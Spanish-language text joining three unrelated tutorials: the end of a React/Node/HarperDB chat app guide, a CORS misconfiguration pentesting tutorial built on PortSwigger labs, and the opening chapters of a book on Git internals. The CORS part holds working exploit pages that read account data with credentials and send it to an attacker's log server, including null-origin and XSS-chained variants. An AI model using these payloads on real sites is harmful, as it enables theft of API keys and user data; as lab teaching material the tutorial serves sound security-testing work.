    console.log('El usuario se desconectó del chat');
    const user = allUsers.find((user) => user.id == socket.id);
    if (user?.username) {
      allUsers = leaveRoom(socket.id, allUsers);
      socket.to(chatRoom).emit('chatroom_users', allUsers);
      socket.to(chatRoom).emit('receive_message', {
        message: `${user.username} se ha desconectado del chat.`,
      });
    }
  });
});

server.listen(4000, () => 'El Servidor se está ejecutando en el puerto 3000');

Y ahí lo tienes – haz construido una aplicación de chat de tiempo real fullstack con un frontend de React, un backend de Node/Express, y una base de datos de HarperDB. ¡Buen trabajo!

Para la próxima, planeo en revisar nuestras Funciones Personalizadas de HarperDB, el cual permite a los usuarios definir sus propios endpoints de API dentro de HarperDB. Esto significa que podemos construir nuestra aplicación completa, ¡en un sólo lugar! Mira un ejemplo de cómo HarperDB está colapsando el stack en este artículo.

Un desafío para ti 💪

Si refrescas la página Chat, el nombre de usuario del usuario y la sala desaparecerán. Mira si puedes prevenir que esta información se pierda cuando el usuario refresque la página. Pista: ¡el local storage podría ser útil!

¡Gracias por leer!

Si te pareció útil este artículo, puedes:

• Suscribirte a mi canal de YouTube. Estaré subiendo tutoriales en profunidad y vídeos de proyectos sobre React/NextJS/Node/Express.
• Sígueme en Twitter donde comparto tweets sobre mi jornada de freelancing, proyectos propios, y aprendizajes actuales.
• Revisa mi almacén de Gumroad donde hago hojas de trucos y pósteres útiles y populares (8000 descargas al tiempo de escribir).
• Revisa mi blog

La política SOP ayuda en proteger a los usuarios de scripts maliciosos que podrían acceder a datos sensibles o realizar acciones no autorizados en su nombre.

Por ejemplo, si business.com intenta realizar una solicitud HTTP a metrics.com, el navegador, por defecto, bloqueará la solicitud porque viene de un distinto dominio.

Por mucho que el SOP suene como una política de protección apropiada, no escala bien con las tecnologías de hoy en día que dependen uno del otro para operar. Por ejemplo, presenta desafíos a las APIs y microservicios que tienen casos de uso legítimos para acceder y compartir información entre dominios.

Por casos como este, hubo una necesidad para un nuevo mecanismo de seguridad que permitiría interacciones entre dominios. Es conocido como Intercambio de Recursos entre Orígenes (CORS en inglés).

Este artículo cubrirá lo básico de cómo funciona CORS e identificar vulnerabilidades comunes que pueden ocurrir cuando no implementas CORS correctamente. Aprenderemos cómo probar y explotar las configuraciones erróneas de esa forma al final de esta guía, tendrás un mejor entendimiento de cómo probar y validar para CORS durante una prueba de penetración (pentest).

Usaré los laboratorios (entornos) CORS de Port Swigger para demostrar la prueba y pasos de explotación.

Tabla de Contenido

• ¿Qué es la Política de Origen entre Sitios (CORS)?
• Impacto de las Configuraciones erróneas de CORS
• Cómo identificar CORS
• Casos explotables de CORS
• Caso inexplotable
• Mitigaciones
• Recursos

¿Qué es la Política de Origen entre Sitios (CORS)?

CORS es una característica de seguridad creada para relajar selectivamente las restricciones de SOP y permitir acceso controlado a recursos de distintos dominios. Las reglas de CORS permiten a los dominios especificar qué dominios pueden solicitar información de ellos al agregar cabeceras de HTTP específicas en la respuesta.

Hay varias cabeceras de HTTP relacionadas a CORS, pero estamos interesados en los dos que se relacionan a las vulnerabilidades vistas comúnmente – Access-Control-Allow-Origin y Access-Control-Allow-Credentials.

Access-Control-Allow-Origin: Esta cabecera especifica que los dominios permitidos lean el contenido de la respuesta. El valor puede ser un caracter comodín (*), el cual indica que todos los dominios están permitidos, o lista de dominios separados por coma.

#Todos los dominios están permitidos
Access-Control-Allow-Origin: *   


#Lista de dominios separados por coma
Access-Control-Allow-Origin: example.com, metrics.com

Access-Control-Allow-Credentials: Esta cabecera determina si el dominio permite pasar credenciales — tales como cookies o cabeceras de autorización en las solicitudes entre origen.

El valor de la cabecera es True o False. Si la cabecera es puesto a "true", el dominio permite enviar credenciales. Si se pone a "false," o no es incluido en la respuesta, entonces no se le permite.

#Permite pasar credenciales en las solicitudes
Access-Control-Allow-Credentials: true

#No permite pasarlos en las solicitudes
Access-Control-Allow-Credentials: false

Impacto de las Configuraciones erróneas de CORS

Las Configuraciones erróneas de CORS pueden tener un impacto significativo en la seguridad de aplicaciones web. Abajo están las implicaciones principales:

• Robo de Datos: Los atacantes pueden usar las vulnerabilidades de CORS para robar datos sensibles de aplicaciones como claves API, claves SSH, Información Personal Identificable (PII), o credenciales de usuarios.
• Secuencias de comandos entre sitios (XSS): Los atacantes pueden usar las vulnerabilidades de CORS para realizar ataques XSS al inyectar scripts maliciosos en páginas web para robar tokens de sesión o realizar acciones no autorizados en el nombre del usuario.
• Ejecución de Código Remoto en algunos casos (caso de StackStorm)

Cómo identificar CORS

Cuando se prueba una aplicación para CORS, verificamos si cualquiera de las respuestas de la aplicación contienen las cabeceras de CORS. Podemos usar la funcionalidad de búsqueda en Burp Suite para buscar las cabeceras rápidamente.

En el ejemplo de abajo, busqué la cabecera Access-Control-Allow-Credentials y obtuve tres (3) respuestas. Una vez que las cabeceras son identificadas, podemos seleccionar las solicitudes y enviarlos al Repetidor para una análisis más detallado.

Figuras 1 & 2 muestran la funcionalidad de búsqueda en Burp Suite para buscar las cabeceras de CORS.

Para identificar los problemas de CORS, podemos modificar la cabecera Origin en las solicitudes con múltiples valores y ver qué cabeceras de respuesta obtenemos de la aplicación. Hay cuatros (4) formas conocidas para hacer esto, los cuales veremos ahora.

1. Orígines Reflejados

Poner la cabecera Origin en la solicitud a un dominio arbitrario, tales como https://attackersdomain.com, y verificar la cabecera Access-Control-Allow-Origin en la respuesta. Si refleja el dominio exacto que supliste en la solicitud, significa que el dominio no filtra para ningún origen.

El riesgo de esta configuración errónea es alta si el dominio permite que las credenciales se pasan en las solicitudes. Podemos validar que al verificar si la cabecera Access-Control-Allow-Credentials también está incluida en la respuesta y es puesta a true.

Sin embargo, el riesgo es bajo si el pasar credenciales no está permitido, ya que el navegador no procesará las respuestas de solicitudes no autenticados.

📌 Para explotar orígenes reflejados, verificar la sección de explotación — Caso #1.

Figura 3 — muestra el valor de la cabecera Origin incluido en la cabecera Access-Control-Allow-Origin.

2. Orígenes Modificados

Poner la cabecera Origin a un valor que coincida con el dominio objetivo, pero agregar un prefijo o sufijo al dominio para verificar si hay cualquier validación sobre los inicios o finales del dominio.

Si no hay controles, podemos crear un dominio coincidente similar que elude la política de CORS en el dominio de destino. Por ejemplo, agregando un prefijo o sufijo al dominio metrics.com sería algo como attackmetrics.com o metrics.com.attack.com.

El riesgo de esta configuración errónea es considerado alto si el dominio permite pasar credenciales con la cabecera Access-Control-Allow-Credentials se ponga a true. El atacante puede crear un dominio de coincidente similar y recuperar información sensible del dominio de destino.

Pero el riesgo sería bajo si las solicitudes no autenticados no estuvieran permitidos.

📌 Para explotar orígenes modificados, verifica la sección de explotación — Caso #1.

3. Subdominios de confianza con Protocolo Inseguro

Poner la cabecera Origin a un subdominio existente y ver si lo acepta. Si lo hace, significa que el dominio confía a todos sus subdominios. Esto no es una buena idea si uno de los subdominios tiene una vulnerabilidad de Secuencia de comandos entre Sitios (XSS), permitirá al atacante que inyecte un payload de JS malicioso y realizar acciones no autorizados.

Esta configuración errónea se considera de alto riesgo el dominio acepta subdominios con un protocolo inseguro, tales como HTTP, y la cabecera credencial se pone a true. De lo contrario, no será explotable y sería solamente una implementación pobre de CORS.

📌 Para explotar subdominios de confianza, verifica la sección de expltación — Caso #3.

Figura 4 — muestra la aplicación acepta subdominios inseguros arbitrarios.

4. Orígen Null

Pon la cabecera Origin al valor null – Origin: null, y ve si la aplicación pone la cabecera Access-Control-Allow-Origin a null. Si lo hace, significa que los orígenes null están en la lista blanca.

El nivel de riesgo es considerado alto si el dominio permite solicitudes autenticados con la cabecera Access-Control-Allow-Credentials puesto a true.

Pero si no lo hace, entonces el problema es considerado bajo, y no explotable.

📌 Para explotar los Orígenes Null, verifica la sección explotación – Caso #2.

Figura 5 — muestra que la aplicación aceptó el valor null y lo regresó en la respuesta.

Casos explotables de CORS

En esta sección, veremos cómo explotar las configuraciones erróneas de CORS al categorizarlos como casos de prueba para una fácil comprensión.

Caso 1: Origen Reflejado

La aplicación es consideraba vulnerable cuando pone el Access-Control-Allow-Origin al dominio que fue suplido por el atacante y permite pasar credenciales con el Access-Control-Allow-Credentials puesto a true.

Access-Control-Allow-Origin: http://attacker-domain.com
Access-Control-Allow-Credentials: true

Figura 6 — muestra las cabeceras de CORS para orígen reflejado.

La explotación requiere que el atacante aloje el script de JS en un servidor externo para que sea accesible al usuario. Luego tienen que crear una página HTML, incrustar el script de JS abajo, y enviarlo al usuario.

<html>
  <body>
    <script>

    #Inicializa el objeto XMLHttpRequest, y la variable URL de la aplicacion 
        var req = new XMLHttpRequest();
        var url = ("APPLICATION URL");

    #El objeto MLHttpRequest carga, ejecuta la función reqListener()
      req.onload = retrieveKeys;

    #Realiza la solicitud GET a la ubicación accounDetails de la aplicacion
        req.open('GET', url + "/accountDetails",true);

    #Permite pasar credenciales con las solicitudes
    req.withCredentials = true;

    #Envía la solicitud
        req.send(null);

    function retrieveKeys() {
            location='/log?key='+this.responseText;
        };

  </script>
  <body>
</html>

Una vez que el usuario vistia la página alojada, automáticamente enviará una solicitud de CORS para recuperar información sobre el usuario de la ubicación especificado en el script. Entender la estructura de la aplicación y donde almacena su información sensible es esencial para este paso.

El script de arriba comienza con inicializar el objeto (XHR) XMLHttpRequest que instruya al navegador web que transferiremos datos al y desde el servidor web usando el protocolo HTTP. XHR es una API del navegador que permite a los lenguajes del lado del cliente tales como JavaScript que realice solicitudes HTTP a un servidor y reciba sus respuestas de forma dinámica sin requerir que el usuario refresque la página.

Luego, le decimos al objeto que ejecute una función llamada retrieveKeys que solicite la clave API del admin y nos envíe la respuesta cuando cargue.

Después, hacemos una solicitud GET especificando la ubicación del cual queremos obtener información y pasar nuestras credenciales con la función Credentials puesto a true.

La solicitud automáticamente será bloqueada y denegada si el servidor de la aplicación no permite pasar credenciales entre dominios. Pero sabemos que esto no sucederá aquí porque el Access-Control-Allow-Credentials está puesto a true.

Para demostrar cómo funciona el script, usaré el servidor de exploits PortSwigger el cual está disponible con el laboratorio para alojar el script de arriba.

Inicia sesión en la aplicación, haz clic en “Go to exploit server,” y pega el script en el body (cuerpo). Luego haz clic en “Deliver exploit to victim.” En un escenario real, necesitas enviar el enlace al usuario e intentar atraerlos para que le hagan clic.

Figuras 7 & 8 — muestra el proceso de alojar el payload de JS y entregarlo al usuario.

Después de repartir el exploit, haz clic en “Access log” y deberías ser capaz de ver la clave API del admin capturado en los logs. Copia la cadena que tiene la clave y pégalo en Decoder de Burp Suite y decodifícalo como una URL para recuperar el valor cleartext.

Figuras 9 & 10 — muestran la clave API del admin en los logs y el valor de la clave en texto plano en el Decoder.

Caso 2: Origen Null

La aplicación es considerada vulnerable cuando pone el Access-Control-Allow-Origin al valor null y permite pasar credenciales con el Access-Control-Allow-Credentials puesto a true.

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Figura 11 — muestra que el servidor de la aplicación acepta orígenes null.

La explotación requiere que el archivo script de JS que hospedemos sea accesible al usuario objetivo (lo mismo que en el caso #1). Nuevamente, usaremos el mismo script – solo esta vez, agregaremos un sandbox iframe para recuperar la clave API. La propiedad sandbox pone el origen del frame a null así podemos poner la cabecera Origin al valor null.

<html>
    <body>
        <iframe style="display: none;" sandbox="allow-scripts" srcdoc="
        <script>
            var req = new XMLHttpRequest();
            var url = 'APPLICATION URL'
            req.onload = retrieveKeys;

            req.open('GET', url + '/accountDetails', true);
            req.withCredentials = true;
            req.send(null);

           function retrieveKeys() {
               fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
            }
        </script>"></iframe>
    </body>
</html>

Cuando el usuario autenticado hace clic en nuestro enlace http://192.168.1.14:5555/cors_null_poc.html, obtendremos la clave API de los detalles de la cuenta. Pero siendo que nuestro usuario no es un administrador, no seremos capaz de recuperar la clave API del administrador.

El punto de mostrar los pasos de abajo es que durante una evaluación de prueba de una aplicación web, como un tester, se te dará las cuentas de usuario regular y administrador para probarlos. En esos casos, sigues los pasos de abajo para mostrar tu prueba de concepta al hospedar el archivo de forma local. O, por supuesto, puedes hospedar el archivo de forma externa como una opción alternativa.

Figuras 12 & 13 — muestra que el valor null se agrega a la cabecera de la solicitud, y el usuario accedió a la página cors_nullpoc.

Figura 14 — muestra los detalles de la cuenta de usuario cuando se hace clic al enlace.

Caso 3: Subdominios Confiables

La aplicación es considerada vulnerable cuando se pone Access-Control-Allow-Origin a cualquiera de sus subdominios y se permite credenciales con Access-Control-Allow-Credentials puesto a true.

La explotación de este caso es dependiente en si el subdominio existente es vulnerable a los ataques XSS para permitir al atacante que abuse de la configuración errónea.

Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: true

Figura 15 — muestra que el domino acepta sus orígenes de los subdominios.

Su te encuentras este escenario, necesitas verificar todos los subdominios existentes e intentar de encontrar una con una vulnerabilidad de XSS para explotarlo.

En el laboratorio Port Swigger #3, la aplicación confía que su subdominio – stock – es vulnerable a ataques de XSS en el parámetro ProductId=.

Figuras 16 & 17 — muestra que el subdominio de acciones es vulnerable a ataques de XSS en el parámetro ProductId.

Usaremos el mismo escript para explotar este caos, con excepción que agregaremos la ubicación donde inyectamos el payload usando la función document.location. Luego formatearemos el payload para que sea un payload de una línea así podemos pasarle en el parámetro.

<script>
    document.location="http://subdomain.domain.com/?productId=<script>
    <script>
       var req = new XMLHttpRequest();
       req.onload = retrieveKeys;
       req.open('GET', "APPLICATION URL/accountDetails",true);
       req.withCredentials = true;
       req.send(null);

       function retrieveKeys() {
            location='https://Exolit_Server_Hostname/log?key='+this.responseText;
        };

  </script> 
      </script>

Después de eso, guardamos el script como cors_poc.html, lo hospedamos en nuestro servidor, y enviamos el enlace al usuario.

<html>
<body>
<script>
    document.location="http://Insecure-subdomain/?productId=<script>var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
</body>
</html>

Como puedes ver abajo en las capturas de pantalla, cuando el usuario accede al enlace, el script inyecta el payload en el parámetro productId y recupera la clave API.

Figuras 18, 19 & 20 — muestra la inyección del payload XSS y captura la clave APi en acción.

Caso Inexplotable: Comodín (*)

La aplicación NO es vulnerable cuando Access-Control-Allow-Origin es puesto al comodín *, inclusive si la cabecera Access-Control-Allow-Credentials es puesto a true.

Esto se debe a que hay una verificación de seguridad que desactiva la cabecera Allow-Credentials cuando el origin es puesto a un comodín.

Mitigaciones

• Implementa las cabeceras de CORS apropiadas: El servidor puede agregar cabeceras de CORS apropiadas para permitir solicitudes entre orígenes solamente de sitios confiables.
• Restringe acceso a datos sensibles: Esimportante restringir acceso a datos sensible a dominios confiables solamente. Esto se puede haceral implementar medidas de acceso de control tales como autenticación y autorización.

Concluyendo

En este tutorial, hemos cubierto lo básico de CORS como una característica de seguridad que previene que las páginas web hagan solicitudes no autorizados a distintos dominios.

También cubrimos las técnicas de prueba estándares de CORS para detectar y explotar configuraciones erróneas de CORS con herramientas como Burp Suites y las herramientas de desarrollo de Chrome.

Al implementar y probar CORS correctamente, los desarrolladores web puede asegurar que sus aplicaciones web están seguras y evitar configuraciones erróneas que permiten a los atacantes acceder a recursos no autorizados y comprometer la seguridad de la aplicación.

Recursos

• https://ranakhalil.teachable.com/p/web-security-academy-video-series
• https://www.trustedsec.com/blog/cors-findings/
• https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations
• https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/

Introducción

Git es increíble.

La mayoría de los desarrolladores de software usan Git en el día a día. Pero, ¿cuántos realmente entienden Git? ¿Sientes que sabes lo que está pasando por detrás a medida que usas Git para ejecutar varias tareas?

Por ejemplo, ¿qué sucede cuando usas git commit? ¿Qué se almacena entre las confirmaciones? ¿Es sólo un diff entre la confirmación actual y el anterior? Si es así, ¿cómo se codifica el diff? O, ¿es una copia instantánea entero cada vez que el repositorio se almacena?

La mayoría de las personas que usan Git no saben las respuestas a estas preguntas de arriba. Pero, ¿esto importa realmente? ¿Realmente tienes que saber todas esas cosas?

Yo argumentaría que sí importa. Como profesionales, deberíamos esforzarnos en entender las herramientas que usamos, especialmente si los usamos todo el tiempo, como Git.

Aún más preciso. He encontrado que entender realmente cómo funciona Git es beneficioso en muchos escenarios – si estás resolviendo conflictos de fusión, viendo cómo conducir un rebase interesante, o inclusive cuando algo va mal ligeramente.

Muchísimas veces he recibido preguntas sobre Git de gente con experiencia, ingenieros de software altamente talentosos. He visto desarrolladores maravillosos reaccionar con miedo cuando algo sucede en su historial de confirmaciones, y simplemente no saben qué hacer. Esto no tiene que ser así.

Al leer este libro, obtendrás una nueva perspectiva de Git. Te sentirás con confianza cuando trabajes con Git, y entenderás los mecanismos subyacentes de Git, al menos aquellos que son beneficiosos de entender. Le vas a captar.

Tabla de Contenidos

• Introducción
• Parte 1 - Objetos principales e Introduciendo cambios
• Capítulo 1 - Objetos de Git
• Capítulo 2 - Ramas en Git
• Capítulo 3 - Cómo registrar cambios en Git
• Capítulo 4 - ¿Cómo crear un repo desde cero?
• Capítulo 5 - Cómo trabajar con las ramas en Git – Por debajo
• Parte 2 - Ramificando e Integrando Cambios
• Capítulo 6 - Diffs y Parches
• Capítulo 7 - Entendiendo la Fusión de Git
• Capítulo 8 - Entendiendo Git Rebase
• Parte 3 - Deshacer cambios
• Capítulo 9 - Git Reset
• Capítulo 10 - Herramientas adicionales para deshacer cambios
• Capítulo 11 - Ejercicios
• Parte 4 - Herramientas de Git Fantásticas y Útiles
• Capítulo 12 - Git Log
• Capítulo 13 - Git Bisect
• Capítulo 14 - Otros comandos útiles
• Resumen
• Apéndices

¿Para quién es este Libro?

Para cualquier desarrollador de software que quiera profundizar su conocimiento sobre Git.

Si ya tienes experiencia con Git – Estoy seguro que serás capaz de profundizar tus conocimientos. Inclusive si eres nuevo en Git - empezaré con una vista general del mecanismo de Git, y los términos usados a lo largo de este libro.

Este libro es para ti. Lo escribí así para que puedas aprender más sobre Git, y también llegues a apreciar, o inclusive amar a Git.

También notarás que uso un estilo casual en todo el libro. Creo que aprender Git debe de ser intuitivo y divertido. Aprender cosas nuevas siempre es difícil, y pensé que escribir en un estilo menos casual realmente no haría un buen servicio. Y como ya mencioné - Este libro es para ti.

¿Quién soy yo?

Este libro es sobre ti, y tu jornada con Git. Pero me gustaría decirte un poco sobre por qué pienso que puedo contribuir a tu jornada.

Soy el CTO y uno de los co-fundadores de Swimm.io, una herramienta de gestión de conocimiento para código. Parte de lo que hacemos es enlazar partes del código en repositorios de Git a partes de la documentación, y luego rastrear cambios en el repositorio para actualizar la documentación si es necesario.

En Swimm, tengo que diseccionar partes de Git, entender sus mecanismos subyacentes y también ganar intuición sobre por qué se implementa Git de la manera que se hace.

Antes de fundar Swimm practiqué enseñando en muchos entornos diferentes - entre ellos, gestionar el cyber track del Desafío Tech de Israel, fundar la Academia de Seguridad de Punto de Verificación (en inglés Check Point Security Academy), y escribir un libro completo de texto.

Este libro es mi intento de aprovechar lo máximo de ambos mundos - mi experiencia de enseñanza así como mi experiencia práctica profunda con Git, y darte la mejor experiencia de aprendizaje que puedo.

El enfoque de este libro

Este no es definitivamente el primer libro sobre Git. Cuando me senté a escribirlo, tuve tres principios en mente.

1. Práctico - en este libro, aprenderás cómo lograr las cosas en Git. Cómo introducir cambios, cómo deshacerlos, y cómo arreglar las cosas cuando salen mal. Entenderás cómo funciona Git no sólo por el hecho de entender, sino con una mentalidad práctica. A veces me refiero a esto como el "principio práctico" - el cual me guía en decidir si incluyo ciertos tópicos, y en qué medida.
2. A profundidad - te sumergirás en la forma de operar de Git, entender sus mecanismos. Construirás tu entendimiento gradualmente, y siempre enlazarás tus conocimientos a escenarios reales que podrías encontrar en tu trabajo. Para alcanzar un entendimiento a profundidad, casi siempre prefiero la línea de comandos en vez de interfaces gráficas, así realmente puedes ver qué comandos estoy ejecutando.
3. Visual - a medida que me esfuerzo en proveerte con intuición, los capítulos estarán acompañados de ayudas visuales.

¿Por qué este libro está disponible públicamente?

Pienso que todos deberían tener acceso a contenido de alta calidad sobre Git, y me gustaría que este libro llegue a tantas personas como sea posible.

Si te gustaría apoyar este libro, eres bienvenido en comprar la versión física, un libro electrónico, o comprarme un café. ¡Gracias!

Videos Acompañantes

He cubierto muchos tópicos de este libro en mi canal de Youtube - @BriefVid. Eres bienvenido en verificarlos también.

A trabajar

A lo largo de este libro, mayormente usaré el singular en segunda persona - y directamente te escribiré a ti. También te pediré que trabajes, que ejecutes los comandos tú mismo, así llegas a sentir lo que es usar las cosas con Git, no sólo leerlo.

Los sentimientos de Git

A lo largo de este libro, a veces me refiero a Git con palabras tales como "cree", "piensa", o "quiere". Como puedes argumentar, Git no es humano, y no tiene sentimientos o creencias. Bueno, eso es verdad, pero para que nosotros disfrutemos al jugar con Git, y ayudarte en que disfrutes leer (y yo escribiendo), siento que referirme a Git más que sólo código lo hace muchos más divertido.

Mi configuración

Incluiré capturas de pantalla. No hay necesidad de que configures para coincidir con lo mío, pero si sientes curiosidad sobre mi configuración, entonces:

• Estoy usando Ubuntu 20.04 (WSL).
• Para mi terminal, use Oh My Zsh
• También uso plugins para Oh My Zsh, puedes seguir este tutorial en freeCodeCamp
• El alias git lol
• git-graph (mi alias es gg)

Los comentarios son bienvenidos

Este libro ha sido creado para ayudarte y las personas como tú aprendan, entiendan Git, y apliquen ese conocimiento en la vida real.

Desde el principio, pedí comentarios y fui afortunado en recibirlo de grandes personas (ve reconocimientos) para asegurarte que el libro alcanza estos objetivos. Si te gustó algo sobre este libro, sentiste que algo le faltó, o que algo necesita mejorar - Me encantaría escucharlo de ti. Por favor encuéntrame en: gitting.things@gmail.com.

Nota

Este libro es provisto gratuitamente en freeCodeCamp como se describe arriba y de acuerdo a la licencia Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International.

Si te gustaría apoyar este libro, eres bienvenido en comprar la versión física, una versión electrónica, o comprarme un café. ¡Gracias!

Parte 1 - Objetos Principales e Introduciendo cambios

Capítulo 1 - Objetos de Git

Es tiempo de empezar tu jornada en las profundidades de Git. En este capítulo - empezamos con lo básico - aprenderás sobre los objetos de Git más importantes, y adoptar una forma de pensar sobre Git. ¡Vamos a ello!

Git como un Sistema para mantener un Sistema de archivos

Siendo que hay diferentes formas de usar Git, adoptaré aquí una forma que he aprendido que es la más clara y útil: viendo a Git como un sistema que mantiene un sistema de archivos, y específicamente - copias instantáneas de ese sistema de archivos con el tiempo.

Un sistema de archivos con un directorio raíz (en sistemas basados en UNIX, /), el cual usualmente contiene otros directorios (por ejemplo, /usr o /bin). Estos directorios contienen otros directorios, y/o archivos (por ejemplo, /usr/1.txt). En una máquina Windows, un directorio raíz de un disco sería C:\, y un sub-directorio podría ser C:\users. Adoptaré la convención de los sistemas basados en UNIX a lo largo de este libro.

Blobs

En Git, los contenidos de los archivos son almacenados en objetos llamados blobs, abreviado para binary large objects (objetos grandes de binario).

La diferencia entre blobs y archivos es que los archivos también contienen meta-datos. Por ejemplo, un archivo "recuerda" cuando fue creado, de esa forma si tu mueves ese archivo de un directorio a otro, su tiempo de creación permanece el mismo.

Los blobs, en contraste, son sólo corrientes de binario de datos, como el contenido de un archivo. Un blob no registra su fecha de creación, su nombre, o cualquier otra cosa más que su contenido.

Cada blob en Git es identificado por su hash SHA-1. Los hashes SHA-1 consisten de 20 bytes, usualmente representados por 40 caracteres en forma hexadecimal. A lo largo de este libro a veces mostraré sólo los primeros caracteres de ese hash. Como los hashes, y específicamente los hashes SHA-1 son ubicuos en Git, es importante que entiendas las características básicas de los hashes.

Hashes

Un hash es una función determinista y matemática unidireccional.

Determinista significa que la misma entrada proveerá la misma salida. Eso es - tomas una corriente de datos, ejecutas una función hash en esa corriente, y obtienes un resultado.

Por ejemplo, si provees la función hash SHA-1 con la corriente hello, obtendrás 0xaaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d. Si ejecutas la función hash SHA-1 nuevamente, desde una máquina diferente, y le provees los mismos datos (hello), obtendrás el mismo valor.

Git usa SHA-1 como su función hash para identificar objetos. Se basa en ella siendo determinista, y de esa forma un objeto siempre tendrá el mismo identificador.

Una función unidireccional es una función que es difícil de invertir dado una entrada. Eso es, es imposible (o al menos, muy difícil) de determinar, dado el resultado de la función hash (por ejemplo 0xaaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d), qué entrada produce ese resultado (en este ejemplo hello).

De vuelta a Git

De vuelta a Git - Blobs, como cualquier otro objeto de Git, tienen hashes SHA-1 asociados a ellos.

Como dije al principio, Git puede ser visto como un sistema para mantener un sistema de archivos. Sistemas de archivos consisten en archivos y directorios. Un blob es el objeto de Git representando los contenidos de un archivo.

Árboles

En Git, el equivalente de un directorio es un árbol. Un árbol es básicamente un listado de directorios, refiriéndose a blobs, así también como otros árboles.

Los árboles son identificados por sus hashes SHA-1 también. Referirse a estos objetos, sean blobs u otros árboles, sucede por medio del hash SHA-1 de los objetos.

Considera el dibujo de arriba. Fíjate que el árbol CAFE7 se refiere al blob F92A0 como el archivo pic.png. En otro árbol, el mismo blob podría tener otro nombre - pero siempre y cuando los contenidos sean lo mismo, será el mismo objeto blob, y todavía tendrá el mismo valor SHA-1.

El diagrama de arriba es equivalente a un sistema de archivos con un directorio raíz que tiene un archivo en /test.js, y un directorio llamado /docs consistiendo de dos archivos: /docs/pic.png, y /docs/1.txt.

Confirmaciones

Ahora es tiempo de tomar una copia instantánea de ese sistema de archivos – y almacenar todos los archivos que existieron en ese tiempo, juntamente con sus contenidos.

En Git, una copia instantánea es una confirmación. Un objeto de confirmación incluye un puntero al árbol principal (el directorio raíz del sistema de archivos), así también como otros meta-datos tales como el confirmador (el usuario que autorizó la confirmación), un mensaje de la confirmación, y el tiempo de la confirmación.

En la mayoría de los casos, una confirmación también tiene uno o más confirmaciones padres – la copia instantánea anterior (o copias instantáneas). Por supuesto, los objetos de confirmación son también identificados por sus hashes SHA-1. Estos son los hashes que probablemente estás acostumbrado de ver cuando usas los comandos tales como git log.

Cada confirmación retiene la copia instantánea completa, no solo las diferencias entre sí mismo y su confirmación o confirmaciones padres.

¿Cómo puede funcionar eso? ¿No significa que Git tiene que almacenar un montón de datos para cada confirmación?

Examina lo que pasa si cambias los contenidos de un archivo. Digamos que editas el archivo 1.txt, y agregas un signo de exclamación – eso es, cambiaste el contenido de HELLO WORLD, a HELLO WORLD!.

Bueno, este cambio significa que Git crea un nuevo objeto blob, con un nuevo hash SHA-1. Esto tiene sentido, ya que sha1("HELLO WORLD") es diferente de sha1("HELLO WORLD!").

Ya que tienes un nuevo hash, entonces el listado del árbol debería también cambiar. Después de todo, tu árbol ya no apunta al blob 73D8A, sino al blob 62E7A. Desde el momento que cambies los contenidos del árbol, también cambias su hash.

Y ahora, ya que el hash de ese árbol es diferente, también necesitas cambiar el árbol padre – ya que el último ya no apunta al árbol CAFE7, sino al árbol 24601. Consecuentemente, el árbol padre también tendrá un nuevo hash.

Casi listo para crear un nuevo objeto de confirmación, y parece que vas a almacenar un montón de datos – el sistema de archivos entero, ¡una vez más! ¿Pero es eso realmente necesario?

En realidad, algunos objetos, específicamente los objetos blob, no han cambiado ya que la confirmación anterior – el blob F92A0 permaneció intacto, y así también el blob F00D1.

Así que este es el truco – siempre y cuando un objeto no cambie, Git no lo almacena nuevamente. En este caso, Git no necesita almacenar el blob F92A0 o el blob F00D1 una vez más. Git se puede referir a ellos usando solamente sus valores hash. Entonces puedes crear tu objeto de confirmación.

Ya que esta confirmación no es la primer confirmación, también tiene una confirmación padre – la confirmación A1337.

Considerando Hashes

Después de introducir blobs, árboles, y confirmaciones - considera los hashes de estos objetos. Digamos que escribí la cadena Git is awesome!, y de ahí creé un objeto blob. Tú hiciste lo mismo en tu sistema. ¿Tendríamos el mismo hash?

La respuesta es – Sí. Ya que los blobs consisten de los mismos datos, tendrán los mismos valores SHA-1.

¿Qué tal si hiciera un árbol que referencia al blob de Git is awesome!, y le diera un nombre específico y metadatos, y tú hicieras exactamente lo mismo en tu sistema? ¿Tendríamos el mismo hash?

De nuevo, sí. Ya que los objetos árboles son los mismos, tendrían el mismo hash.

¿Qué tal si creara una confirmación apuntando a ese árbol con el mensaje de confirmación Hello, y tú también hicieras lo mismo en tu sistema? ¿Tendrían el mismo hash?

En este caso, la respuesta es – No. Aunque nuestros objetos de confirmación se refieren al mismo árbol, tienen diferentes detalles de confirmación – tiempo, confirmador, y así sucesivamente.

¿Cómo son almacenados los Objetos?

Ahora entiendes el propósito de los blobs, los árboles y las confirmaciones. En los próximos capítulos, también crearás estos objetos tú mismo. A pesar de ser interesante, entender en realidad cómo estos objetos son codificados y almacenados no es vital para tu entendimiento.

Pequeña recapitulación - Objetos de Git

Para recapitular, en esta sección introdujimos tres objetos de Git:

• Blob – contenidos de un archivo.
• Árbol – un listado de directorios (de blobs y árboles).
• Confirmación – una copia instantánea del árbol de trabajo.

En el próximo capítulo, entenderemos sobre las ramas en Git.

Capítulo 2 - Las ramas en Git

En el capítulo anterior, sugerí que deberíamos ver a Git como un sistema para mantener un sistema de archivos.

Una de las maravillas de Git es que permite a múltiples personas trabajar en ese sistema de archivos, en paralelo, (mayormente) sin interferir en el trabajo de otros. La mayoría de las personas dirían que están "trabajando en la rama X." ¿Pero qué significa eso en realidad?

Una rama es sólo una referencia nombrada a una confirmación.

Siempre puedes referenciar a una confirmación por su hash SHA-1, pero los humanos usualmente prefieren otras formas de llamar a los objetos. Una rama es una forma de referenciar a una confirmación, pero realmente es eso nada más.

En la mayoría de los repositorios, la línea principal del desarrollo está hecho en una rama llamada main. Esto es sólo un nombre, y es creado cuando usas git init, haciéndolo que sea ampliamente usado. Sin embargo, podrías usar cualquier otro nombre que quisieres.

